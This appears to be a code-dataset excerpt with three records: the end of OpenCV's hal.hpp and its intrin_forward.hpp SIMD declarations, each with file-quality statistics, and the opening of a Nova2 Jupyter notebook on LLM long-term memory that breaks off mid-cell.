float alpha, const float* src3, size_t src3_step, float beta, float* dst, size_t dst_step,
int m_a, int n_a, int n_d, int flags);
CV_EXPORTS void gemm64fc(const double* src1, size_t src1_step, const double* src2, size_t src2_step,
double alpha, const double* src3, size_t src3_step, double beta, double* dst, size_t dst_step,
int m_a, int n_a, int n_d, int flags);
CV_EXPORTS int normL1_(const uchar* a, const uchar* b, int n);
CV_EXPORTS float normL1_(const float* a, const float* b, int n);
CV_EXPORTS float normL2Sqr_(const float* a, const float* b, int n);
CV_EXPORTS void exp32f(const float* src, float* dst, int n);
CV_EXPORTS void exp64f(const double* src, double* dst, int n);
CV_EXPORTS void log32f(const float* src, float* dst, int n);
CV_EXPORTS void log64f(const double* src, double* dst, int n);
CV_EXPORTS void fastAtan32f(const float* y, const float* x, float* dst, int n, bool angleInDegrees);
CV_EXPORTS void fastAtan64f(const double* y, const double* x, double* dst, int n, bool angleInDegrees);
CV_EXPORTS void magnitude32f(const float* x, const float* y, float* dst, int n);
CV_EXPORTS void magnitude64f(const double* x, const double* y, double* dst, int n);
CV_EXPORTS void sqrt32f(const float* src, float* dst, int len);
CV_EXPORTS void sqrt64f(const double* src, double* dst, int len);
CV_EXPORTS void invSqrt32f(const float* src, float* dst, int len);
CV_EXPORTS void invSqrt64f(const double* src, double* dst, int len);
CV_EXPORTS void split8u(const uchar* src, uchar** dst, int len, int cn );
CV_EXPORTS void split16u(const ushort* src, ushort** dst, int len, int cn );
CV_EXPORTS void split32s(const int* src, int** dst, int len, int cn );
CV_EXPORTS void split64s(const int64* src, int64** dst, int len, int cn );
CV_EXPORTS void merge8u(const uchar** src, uchar* dst, int len, int cn );
CV_EXPORTS void merge16u(const ushort** src, ushort* dst, int len, int cn );
CV_EXPORTS void merge32s(const int** src, int* dst, int len, int cn );
CV_EXPORTS void merge64s(const int64** src, int64* dst, int len, int cn );
CV_EXPORTS void add8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* );
CV_EXPORTS void add64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* );
CV_EXPORTS void sub64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* );
CV_EXPORTS void max64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* );
CV_EXPORTS void min64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* );
CV_EXPORTS void absdiff64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* );
CV_EXPORTS void and8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void or8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void xor8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void not8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* );
CV_EXPORTS void cmp8u(const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp8s(const schar* src1, size_t step1, const schar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp16u(const ushort* src1, size_t step1, const ushort* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp16s(const short* src1, size_t step1, const short* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp32s(const int* src1, size_t step1, const int* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp32f(const float* src1, size_t step1, const float* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void cmp64f(const double* src1, size_t step1, const double* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _cmpop);
CV_EXPORTS void mul8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void mul64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void div64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip8u( const uchar *, size_t, const uchar * src2, size_t step2, uchar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip8s( const schar *, size_t, const schar * src2, size_t step2, schar* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip16u( const ushort *, size_t, const ushort * src2, size_t step2, ushort* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip16s( const short *, size_t, const short * src2, size_t step2, short* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip32s( const int *, size_t, const int * src2, size_t step2, int* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip32f( const float *, size_t, const float * src2, size_t step2, float* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void recip64f( const double *, size_t, const double * src2, size_t step2, double* dst, size_t step, int width, int height, void* scale);
CV_EXPORTS void addWeighted8u( const uchar* src1, size_t step1, const uchar* src2, size_t step2, uchar* dst, size_t step, int width, int height, void* _scalars );
CV_EXPORTS void addWeighted8s( const schar* src1, size_t step1, const schar* src2, size_t step2, schar* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void addWeighted16u( const ushort* src1, size_t step1, const ushort* src2, size_t step2, ushort* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void addWeighted16s( const short* src1, size_t step1, const short* src2, size_t step2, short* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void addWeighted32s( const int* src1, size_t step1, const int* src2, size_t step2, int* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void addWeighted32f( const float* src1, size_t step1, const float* src2, size_t step2, float* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void addWeighted64f( const double* src1, size_t step1, const double* src2, size_t step2, double* dst, size_t step, int width, int height, void* scalars );
CV_EXPORTS void cvt16f32f( const float16_t* src, float* dst, int len );
CV_EXPORTS void cvt32f16f( const float* src, float16_t* dst, int len );
CV_EXPORTS void addRNGBias32f( float* arr, const float* scaleBiasPairs, int len );
CV_EXPORTS void addRNGBias64f( double* arr, const double* scaleBiasPairs, int len );
struct CV_EXPORTS DFT1D
{
static Ptr<DFT1D> create(int len, int count, int depth, int flags, bool * useBuffer = 0);
virtual void apply(const uchar *src, uchar *dst) = 0;
virtual ~DFT1D() {}
};
struct CV_EXPORTS DFT2D
{
static Ptr<DFT2D> create(int width, int height, int depth,
int src_channels, int dst_channels,
int flags, int nonzero_rows = 0);
virtual void apply(const uchar *src_data, size_t src_step, uchar *dst_data, size_t dst_step) = 0;
virtual ~DFT2D() {}
};
struct CV_EXPORTS DCT2D
{
static Ptr<DCT2D> create(int width, int height, int depth, int flags);
virtual void apply(const uchar *src_data, size_t src_step, uchar *dst_data, size_t dst_step) = 0;
virtual ~DCT2D() {}
};
//! @} core_hal
//=============================================================================
// for binary compatibility with 3.0
//! @cond IGNORED
CV_EXPORTS int LU(float* A, size_t astep, int m, float* b, size_t bstep, int n);
CV_EXPORTS int LU(double* A, size_t astep, int m, double* b, size_t bstep, int n);
CV_EXPORTS bool Cholesky(float* A, size_t astep, int m, float* b, size_t bstep, int n);
CV_EXPORTS bool Cholesky(double* A, size_t astep, int m, double* b, size_t bstep, int n);
CV_EXPORTS void exp(const float* src, float* dst, int n);
CV_EXPORTS void exp(const double* src, double* dst, int n);
CV_EXPORTS void log(const float* src, float* dst, int n);
CV_EXPORTS void log(const double* src, double* dst, int n);
CV_EXPORTS void fastAtan2(const float* y, const float* x, float* dst, int n, bool angleInDegrees);
CV_EXPORTS void magnitude(const float* x, const float* y, float* dst, int n);
CV_EXPORTS void magnitude(const double* x, const double* y, double* dst, int n);
CV_EXPORTS void sqrt(const float* src, float* dst, int len);
CV_EXPORTS void sqrt(const double* src, double* dst, int len);
CV_EXPORTS void invSqrt(const float* src, float* dst, int len);
CV_EXPORTS void invSqrt(const double* src, double* dst, int len);
//! @endcond
}} //cv::hal
#endif //OPENCV_HAL_HPP
| 19,906 | hal | hpp | en | cpp | code | {"qsc_code_num_words": 3347, "qsc_code_num_chars": 19906.0, "qsc_code_mean_word_length": 4.17747236, "qsc_code_frac_words_unique": 0.10905288, "qsc_code_frac_chars_top_2grams": 0.09583751, "qsc_code_frac_chars_top_3grams": 0.10692319, "qsc_code_frac_chars_top_4grams": 0.09240452, "qsc_code_frac_chars_dupe_5grams": 0.78601059, "qsc_code_frac_chars_dupe_6grams": 0.76462595, "qsc_code_frac_chars_dupe_7grams": 0.76233729, "qsc_code_frac_chars_dupe_8grams": 0.75475612, "qsc_code_frac_chars_dupe_9grams": 0.74324131, "qsc_code_frac_chars_dupe_10grams": 0.73844943, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03374585, "qsc_code_frac_chars_whitespace": 0.16783884, "qsc_code_size_file_byte": 19906.0, "qsc_code_num_lines": 256.0, "qsc_code_num_chars_line_max": 166.0, "qsc_code_num_chars_line_mean": 77.7578125, "qsc_code_frac_chars_alphabet": 0.81032297, "qsc_code_frac_chars_comments": 0.12594193, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07738095, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00402322, "qsc_code_frac_chars_long_word_length": 0.00287373, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.80357143, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.82142857, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 1, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/hal/intrin_forward.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html
#ifndef CV__SIMD_FORWARD
#error "Need to pre-define forward width"
#endif
namespace cv
{
//! @cond IGNORED
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_BEGIN
/** Types **/
#if CV__SIMD_FORWARD == 1024
// [todo] 1024
#error "1024-long ops not implemented yet"
#elif CV__SIMD_FORWARD == 512
// 512
#define __CV_VX(fun) v512_##fun
#define __CV_V_UINT8 v_uint8x64
#define __CV_V_INT8 v_int8x64
#define __CV_V_UINT16 v_uint16x32
#define __CV_V_INT16 v_int16x32
#define __CV_V_UINT32 v_uint32x16
#define __CV_V_INT32 v_int32x16
#define __CV_V_UINT64 v_uint64x8
#define __CV_V_INT64 v_int64x8
#define __CV_V_FLOAT32 v_float32x16
#define __CV_V_FLOAT64 v_float64x8
struct v_uint8x64;
struct v_int8x64;
struct v_uint16x32;
struct v_int16x32;
struct v_uint32x16;
struct v_int32x16;
struct v_uint64x8;
struct v_int64x8;
struct v_float32x16;
struct v_float64x8;
#elif CV__SIMD_FORWARD == 256
// 256
#define __CV_VX(fun) v256_##fun
#define __CV_V_UINT8 v_uint8x32
#define __CV_V_INT8 v_int8x32
#define __CV_V_UINT16 v_uint16x16
#define __CV_V_INT16 v_int16x16
#define __CV_V_UINT32 v_uint32x8
#define __CV_V_INT32 v_int32x8
#define __CV_V_UINT64 v_uint64x4
#define __CV_V_INT64 v_int64x4
#define __CV_V_FLOAT32 v_float32x8
#define __CV_V_FLOAT64 v_float64x4
struct v_uint8x32;
struct v_int8x32;
struct v_uint16x16;
struct v_int16x16;
struct v_uint32x8;
struct v_int32x8;
struct v_uint64x4;
struct v_int64x4;
struct v_float32x8;
struct v_float64x4;
#else
// 128
#define __CV_VX(fun) v_##fun
#define __CV_V_UINT8 v_uint8x16
#define __CV_V_INT8 v_int8x16
#define __CV_V_UINT16 v_uint16x8
#define __CV_V_INT16 v_int16x8
#define __CV_V_UINT32 v_uint32x4
#define __CV_V_INT32 v_int32x4
#define __CV_V_UINT64 v_uint64x2
#define __CV_V_INT64 v_int64x2
#define __CV_V_FLOAT32 v_float32x4
#define __CV_V_FLOAT64 v_float64x2
struct v_uint8x16;
struct v_int8x16;
struct v_uint16x8;
struct v_int16x8;
struct v_uint32x4;
struct v_int32x4;
struct v_uint64x2;
struct v_int64x2;
struct v_float32x4;
struct v_float64x2;
#endif
/** Value reordering **/
// Expansion
void v_expand(const __CV_V_UINT8&, __CV_V_UINT16&, __CV_V_UINT16&);
void v_expand(const __CV_V_INT8&, __CV_V_INT16&, __CV_V_INT16&);
void v_expand(const __CV_V_UINT16&, __CV_V_UINT32&, __CV_V_UINT32&);
void v_expand(const __CV_V_INT16&, __CV_V_INT32&, __CV_V_INT32&);
void v_expand(const __CV_V_UINT32&, __CV_V_UINT64&, __CV_V_UINT64&);
void v_expand(const __CV_V_INT32&, __CV_V_INT64&, __CV_V_INT64&);
// Low Expansion
__CV_V_UINT16 v_expand_low(const __CV_V_UINT8&);
__CV_V_INT16 v_expand_low(const __CV_V_INT8&);
__CV_V_UINT32 v_expand_low(const __CV_V_UINT16&);
__CV_V_INT32 v_expand_low(const __CV_V_INT16&);
__CV_V_UINT64 v_expand_low(const __CV_V_UINT32&);
__CV_V_INT64 v_expand_low(const __CV_V_INT32&);
// High Expansion
__CV_V_UINT16 v_expand_high(const __CV_V_UINT8&);
__CV_V_INT16 v_expand_high(const __CV_V_INT8&);
__CV_V_UINT32 v_expand_high(const __CV_V_UINT16&);
__CV_V_INT32 v_expand_high(const __CV_V_INT16&);
__CV_V_UINT64 v_expand_high(const __CV_V_UINT32&);
__CV_V_INT64 v_expand_high(const __CV_V_INT32&);
// Load & Low Expansion
__CV_V_UINT16 __CV_VX(load_expand)(const uchar*);
__CV_V_INT16 __CV_VX(load_expand)(const schar*);
__CV_V_UINT32 __CV_VX(load_expand)(const ushort*);
__CV_V_INT32 __CV_VX(load_expand)(const short*);
__CV_V_UINT64 __CV_VX(load_expand)(const uint*);
__CV_V_INT64 __CV_VX(load_expand)(const int*);
// Load lower 8-bit and expand into 32-bit
__CV_V_UINT32 __CV_VX(load_expand_q)(const uchar*);
__CV_V_INT32 __CV_VX(load_expand_q)(const schar*);
// Saturating Pack
__CV_V_UINT8 v_pack(const __CV_V_UINT16&, const __CV_V_UINT16&);
__CV_V_INT8 v_pack(const __CV_V_INT16&, const __CV_V_INT16&);
__CV_V_UINT16 v_pack(const __CV_V_UINT32&, const __CV_V_UINT32&);
__CV_V_INT16 v_pack(const __CV_V_INT32&, const __CV_V_INT32&);
// Non-saturating Pack
__CV_V_UINT32 v_pack(const __CV_V_UINT64&, const __CV_V_UINT64&);
__CV_V_INT32 v_pack(const __CV_V_INT64&, const __CV_V_INT64&);
// Pack signed integers with unsigned saturation
__CV_V_UINT8 v_pack_u(const __CV_V_INT16&, const __CV_V_INT16&);
__CV_V_UINT16 v_pack_u(const __CV_V_INT32&, const __CV_V_INT32&);
/** Arithmetic, bitwise and comparison operations **/
// Non-saturating multiply
#if CV_VSX
template<typename Tvec>
Tvec v_mul_wrap(const Tvec& a, const Tvec& b);
#else
__CV_V_UINT8 v_mul_wrap(const __CV_V_UINT8&, const __CV_V_UINT8&);
__CV_V_INT8 v_mul_wrap(const __CV_V_INT8&, const __CV_V_INT8&);
__CV_V_UINT16 v_mul_wrap(const __CV_V_UINT16&, const __CV_V_UINT16&);
__CV_V_INT16 v_mul_wrap(const __CV_V_INT16&, const __CV_V_INT16&);
#endif
// Multiply and expand
#if CV_VSX
template<typename Tvec, typename Twvec>
void v_mul_expand(const Tvec& a, const Tvec& b, Twvec& c, Twvec& d);
#else
void v_mul_expand(const __CV_V_UINT8&, const __CV_V_UINT8&, __CV_V_UINT16&, __CV_V_UINT16&);
void v_mul_expand(const __CV_V_INT8&, const __CV_V_INT8&, __CV_V_INT16&, __CV_V_INT16&);
void v_mul_expand(const __CV_V_UINT16&, const __CV_V_UINT16&, __CV_V_UINT32&, __CV_V_UINT32&);
void v_mul_expand(const __CV_V_INT16&, const __CV_V_INT16&, __CV_V_INT32&, __CV_V_INT32&);
void v_mul_expand(const __CV_V_UINT32&, const __CV_V_UINT32&, __CV_V_UINT64&, __CV_V_UINT64&);
void v_mul_expand(const __CV_V_INT32&, const __CV_V_INT32&, __CV_V_INT64&, __CV_V_INT64&);
#endif
// Conversions
__CV_V_FLOAT32 v_cvt_f32(const __CV_V_INT32& a);
__CV_V_FLOAT32 v_cvt_f32(const __CV_V_FLOAT64& a);
__CV_V_FLOAT32 v_cvt_f32(const __CV_V_FLOAT64& a, const __CV_V_FLOAT64& b);
__CV_V_FLOAT64 v_cvt_f64(const __CV_V_INT32& a);
__CV_V_FLOAT64 v_cvt_f64_high(const __CV_V_INT32& a);
__CV_V_FLOAT64 v_cvt_f64(const __CV_V_FLOAT32& a);
__CV_V_FLOAT64 v_cvt_f64_high(const __CV_V_FLOAT32& a);
__CV_V_FLOAT64 v_cvt_f64(const __CV_V_INT64& a);
/** Cleanup **/
#undef CV__SIMD_FORWARD
#undef __CV_VX
#undef __CV_V_UINT8
#undef __CV_V_INT8
#undef __CV_V_UINT16
#undef __CV_V_INT16
#undef __CV_V_UINT32
#undef __CV_V_INT32
#undef __CV_V_UINT64
#undef __CV_V_INT64
#undef __CV_V_FLOAT32
#undef __CV_V_FLOAT64
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_END
//! @endcond
} // cv:: | 6,354 | intrin_forward | hpp | en | cpp | code | {"qsc_code_num_words": 1151, "qsc_code_num_chars": 6354.0, "qsc_code_mean_word_length": 3.68027802, "qsc_code_frac_words_unique": 0.13466551, "qsc_code_frac_chars_top_2grams": 0.11827195, "qsc_code_frac_chars_top_3grams": 0.11898017, "qsc_code_frac_chars_top_4grams": 0.03966006, "qsc_code_frac_chars_dupe_5grams": 0.59442871, "qsc_code_frac_chars_dupe_6grams": 0.43413598, "qsc_code_frac_chars_dupe_7grams": 0.351983, "qsc_code_frac_chars_dupe_8grams": 0.31562795, "qsc_code_frac_chars_dupe_9grams": 0.29414542, "qsc_code_frac_chars_dupe_10grams": 0.21671388, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.09775499, "qsc_code_frac_chars_whitespace": 0.10969468, "qsc_code_size_file_byte": 6354.0, "qsc_code_num_lines": 191.0, "qsc_code_num_chars_line_max": 95.0, "qsc_code_num_chars_line_mean": 33.26701571, "qsc_code_frac_chars_alphabet": 0.65105179, "qsc_code_frac_chars_comments": 0.10151086, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.05960265, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01138354, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0052356, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.37748344, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.37748344, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | examples/1. LLM/1.3 Memory.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# 1.3 Long-term memories"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Nova has a built in memory system that uses retrieval-augmented generation to feed additional information to the model it has memorized. This notebook shows you how you can give the model access to these memories."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Run this code so python can find the scripts. This is not required when importing Nova from outside the root folder."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"As usual, the first step is to set up the LLM."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from nova import *\n",
"\n",
"nova = Nova()\n",
"\n",
"inference_engine = InferenceEngineLlamaCPP()\n",
"conditioning = LLMConditioning(\n",
" model=\"bartowski/Qwen2.5-7B-Instruct-1M-GGUF\",\n",
" file=\"*Q8_0.gguf\"\n",
")\n",
"\n",
"nova.configure_llm(inference_engine=inference_engine, conditioning=conditioning)\n",
"nova.apply_config_llm()\n",
"\n",
"nova.load_tools()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"To give the LLM access to memories, we will need to create a MemoryConfig object. Similar to the LLMConditioning, this will store all parameters required to access memories."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"memory_config = MemoryConfig(\n",
" retrieve_memories=True\n",
")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now when running inference on the LLM, just parse the memory_config object to give the LLM access to memories."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
